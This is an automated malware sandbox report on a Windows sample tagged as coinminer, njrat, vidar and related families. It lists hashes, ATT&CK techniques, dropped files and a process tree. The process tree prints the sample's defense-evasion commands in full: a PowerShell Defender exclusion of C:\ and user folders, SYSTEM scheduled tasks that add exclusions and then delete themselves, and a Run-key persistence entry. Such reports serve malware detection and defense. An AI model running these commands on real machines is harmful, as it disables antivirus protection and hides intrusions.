482732baaecd40c5c638a896294dec9dbb67be99a76276805d3b5ec02b39bd60

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/10/2026, 23:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Size 30.6MB
Sample261021-3dkjmsgf69
SHA256 482732baaecd40c5c638a896294dec9dbb67be99a76276805d3b5ec02b39bd60
MD5 a2593843148873389b2b04928b14b185
SHA1 6693228bceef478460882ed2a2b59cd38b3a8cb7
SHA512 35160827b1682fa7d77870f1ec451a283ac6a4acddea43bbbc47f8a919b93f99a0870102e071806e1c347d222f9600c150c1f2d9f88d43227e21b59d029a0095
SSDEEP 98304:xrLI1rjAD8ntZ9QdFERG30oAmx6bR8v4P7A/OFyVK6nAwTYkrhRqlNvREqE6rn0N:QAqZ9gii0NMSEGSp
TLSH
T1AC673E12B6058CCAF066A274848B4FE0E325DDB089B0977723B5775D2FFE34C8EA6165
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5680	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4264	LUPzaZ.exe
3816	LUPzaZ.exe

Loads dropped DLL 2 IoCs

pid	Process
4264	LUPzaZ.exe
3816	LUPzaZ.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\dVosJb\\LUPzaZ.exe\""	LUPzaZ.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1728	cmd.exe
4472	cmd.exe
2308	cmd.exe
4588	cmd.exe
3568	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	LUPzaZ.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2456	cmd.exe
5816	cmd.exe
2340	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	LUPzaZ.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	LUPzaZ.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1780	schtasks.exe
2744	schtasks.exe
4688	schtasks.exe
2464	schtasks.exe
5856	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4848	2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe
4264	LUPzaZ.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5680	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4264 wrote to memory of 5680	4264	LUPzaZ.exe	91
PID 4264 wrote to memory of 1728	4264	LUPzaZ.exe	93
PID 1728 wrote to memory of 4688	1728	cmd.exe	95
PID 1728 wrote to memory of 4236	1728	cmd.exe	96
PID 1728 wrote to memory of 996	1728	cmd.exe	98
PID 4264 wrote to memory of 4472	4264	LUPzaZ.exe	103
PID 4472 wrote to memory of 2464	4472	cmd.exe	105
PID 4264 wrote to memory of 2308	4264	LUPzaZ.exe	106
PID 2308 wrote to memory of 5856	2308	cmd.exe	108
PID 4472 wrote to memory of 2844	4472	cmd.exe	109
PID 4264 wrote to memory of 4588	4264	LUPzaZ.exe	111
PID 2308 wrote to memory of 1284	2308	cmd.exe	113
PID 4472 wrote to memory of 3636	4472	cmd.exe	114
PID 4588 wrote to memory of 1780	4588	cmd.exe	115
PID 2308 wrote to memory of 5832	2308	cmd.exe	116
PID 4588 wrote to memory of 3576	4588	cmd.exe	117
PID 4588 wrote to memory of 2444	4588	cmd.exe	118
PID 4264 wrote to memory of 3568	4264	LUPzaZ.exe	119
PID 3568 wrote to memory of 2744	3568	cmd.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-20_a2593843148873389b2b04928b14b185_coinminer_glassworm_icedid_njrat_poet-rat_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4848

C:\Users\Public\dVosJb\LUPzaZ.exe
"C:\Users\Public\dVosJb\LUPzaZ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dVosJb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dVosJb\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4688
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2308
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1284
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3576
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2808

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\dVosJb" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2456
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\dVosJb" /t REG_DWORD /d 0 /f
  2⤵
  PID:252

C:\Users\Public\dVosJb\LUPzaZ.exe
"C:\Users\Public\dVosJb\LUPzaZ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3816

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3068

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5816
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:5288

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2340
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4148

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 61478062c78545632eed6f85d2a64251ade86aefade54870a7347b6ad7328efe
MD5 62645951ff29dffffe17ee2274e5eced
SHA1 52eff3167ae086f232a996463cfaa07d1a884c09
SHA512 0e58cff7bb0138222a46b710ed49153520968d6e4d0ba89b0404b51345b7eeed29ddd5b6cec1748bba06d9804c69caaeea167d74c64e1231bac06495c5b0a5a3
TLSH
T1AC31A4B7AB2D6A868F2E4E8015DBE2222DD5D2909CC9489E7155C4549F083B52F4EA0C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 c37fc908407eebf35e57939d54a634c9c3c0cac752918bb9d2cc2307d96da35f
MD5 6a2390034ef1d86a50206db427a62e37
SHA1 935679e4c8791267abb0e2be80ec3a5f5057ee37
SHA512 f80bca264aa7e02a7f62b64a43f606dc919edba62eeea5fa0dbd88bdc8dc04a802a89788b6c9b330981e46ad967408ecb8953adf9bf2210178330ad96d8daaab
TLSH
T18331F6A65E3A0002AF0C0F35A7D0D23F6CF8A6705CFC0442722ED5AE8601B7B5FC9000
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 883cb7b163ee607ab28ecc31286581a49333d18c41b766796e41d37215ffe2c7
MD5 ffb33db4719aa2a5132bd1f47a32870c
SHA1 d6b67207c091e7814832c7b794a7a71fc5246b3c
SHA512 5212bcae4c69f72e864aceec30a732e6adc48eef5dfd51b53b63e196570e55b3180e10848bf09a3dfdafdc53468ff9b6d27489688dca35ae56f780df88825a43
TLSH
T15DF05C1C087D512EF133DA3C8AD63AE61ABFF606140685A40BA45B0CE153D413C11A79
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 93f5de6c5fd0ec47c96ab7983bb30b384f5e07ee436fe11fc737140f035c0d66
MD5 4cb201f8c02e43045dbff5e44621254b
SHA1 685c7cdf88db2208219cc825e14a0f13bb6908f3
SHA512 10648ae65dfb6512c5094fd29addf4b3c22015e25bf22fc40e30dc7b6c1264b3df280e5b2114c65f34bbe66a5316945e815ac4e1ed0c9c1a8db88e814f1553c8
TLSH
T1EEF05C3517E9406BF17BD1B84ED27BB3AA3AF632100B62AF0DE543451A52C446CC162D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_x5zvwpf5.x4y.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5zvwpf5.x4y.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

LUPzaZ.exe

Path C:\Users\Public\dVosJb\LUPzaZ.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\dVosJb\UxEnhance64.dll
Size 3.1MB
SHA256 4442564f31343020ed6d7de5b9c3a8c161a483ff2c0adae7e8c79fa071927f54
MD5 f12c63cc7a6b721dc26e43647f67e8e1
SHA1 2de99a5e60fba5fafb62565113cf8e712d227314
SHA512 5a01a5805d8c34b6baf28ede78b5600e88fd3ac6cc8c0e1bb2254f2d754bb50a1b5c40f3d446209e93d986c8f6d55a40672d6188f75dcc4d6c4bee00b4bc6f40
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+R:P9m29xx3Tiqt06ox6+z2rNNrKoR
TLSH
T140E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\dVosJb\adoresd.dat
Size 4.7MB
SHA256 ede8727bf1ad2329062f23f6676af3f45ee6a1001bfdca1a07c2d94a264ec8d1
MD5 cfca1c6b16667d678823608295bcaab0
SHA1 3e482ae8c41c2a38c0c3d09cfd56bccff868c742
SHA512 1c561f8974ba293701f2cfd8f6b0a1a0f2cb6808d65cbfc3cf8660dd2baa1b67aeffbda9ce84c76a6c9c5c3c547912c0818517042a85a8a48f3688542088b08a
SSDEEP 98304:iKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:iKClqhi0Cv54K2IVS0VQg
TLSH
T1B73633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\dVosJb\msadox.tb
Size 8KB
SHA256 886750ec24426462030cbb9f6a4ff21c61a68cc1f0b7a9cdcf3916acea5bec4a
MD5 46270a66dabac0fcee25417cb146f1bb
SHA1 bc8ddb6f97493106fe17d4706a103133c41d5caf
SHA512 c90092ac26595e8e2601b481e7de99679c994e04cc30b479a64bad5b2b5c0cb2ae332f95410f574a1dfb8b26a6c74215bae6c9d413f164fbe5092bd80b3836e6
SSDEEP 192:XqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:XsZqZOXQ3uqvR2Kfzp
TLSH
T11C029E05D7A20CC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3816-582-0x00007FFC14F60000-0x00007FFC14F62000-memory.dmp

Download

memory/3816-576-0x00007FFBF2250000-0x00007FFBF276E000-memory.dmp

Download

memory/3816-587-0x00000210E78B0000-0x00000210E8137000-memory.dmp

Download

memory/3816-591-0x00007FFC14F50000-0x00007FFC14F52000-memory.dmp

Download

memory/3816-589-0x00000210E78B0000-0x00000210E8137000-memory.dmp

Download

memory/3816-590-0x00000210E78B0000-0x00000210E8137000-memory.dmp

Download

memory/3816-588-0x00000210E78B0000-0x00000210E8137000-memory.dmp

Download

memory/3816-583-0x00000210E78B0000-0x00000210E8137000-memory.dmp

Download

memory/3816-580-0x00000210E78B0000-0x00000210E8137000-memory.dmp

Download

memory/4264-546-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-531-0x00007FFBF2250000-0x00007FFBF276E000-memory.dmp

Download

memory/4264-560-0x000001EF7B080000-0x000001EF7B10A000-memory.dmp

Download

memory/4264-559-0x000001EF7B080000-0x000001EF7B10A000-memory.dmp

Download

memory/4264-558-0x000001EF7B080000-0x000001EF7B10A000-memory.dmp

Download

memory/4264-557-0x000001EF7B080000-0x000001EF7B10A000-memory.dmp

Download

memory/4264-556-0x000001EF78560000-0x000001EF785AE000-memory.dmp

Download

memory/4264-565-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-564-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-530-0x00007FFC14F50000-0x00007FFC14F52000-memory.dmp

Download

memory/4264-536-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-538-0x00007FFC14F60000-0x00007FFC14F62000-memory.dmp

Download

memory/4264-539-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-550-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-545-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-543-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4264-544-0x000001EF7A7F0000-0x000001EF7B077000-memory.dmp

Download

memory/4848-0-0x00000000007B0000-0x00000000007BE000-memory.dmp

Download

memory/4848-2-0x00000000007C0000-0x00000000007CC000-memory.dmp

Download

memory/4848-504-0x00007FFC066A0000-0x00007FFC066B2000-memory.dmp

Download

memory/4848-524-0x00000000007B0000-0x00000000007BE000-memory.dmp

Download

memory/4848-525-0x00007FFC066A0000-0x00007FFC066B2000-memory.dmp

Download

memory/4848-1-0x00000000007B0000-0x00000000007BE000-memory.dmp

Download

memory/5680-602-0x000001989A130000-0x000001989A152000-memory.dmp

Download

memory/5680-611-0x00000198B2840000-0x00000198B285E000-memory.dmp

Download

memory/5680-612-0x00000198B2860000-0x00000198B2912000-memory.dmp

Download

memory/5680-614-0x00000198B2620000-0x00000198B262A000-memory.dmp

Download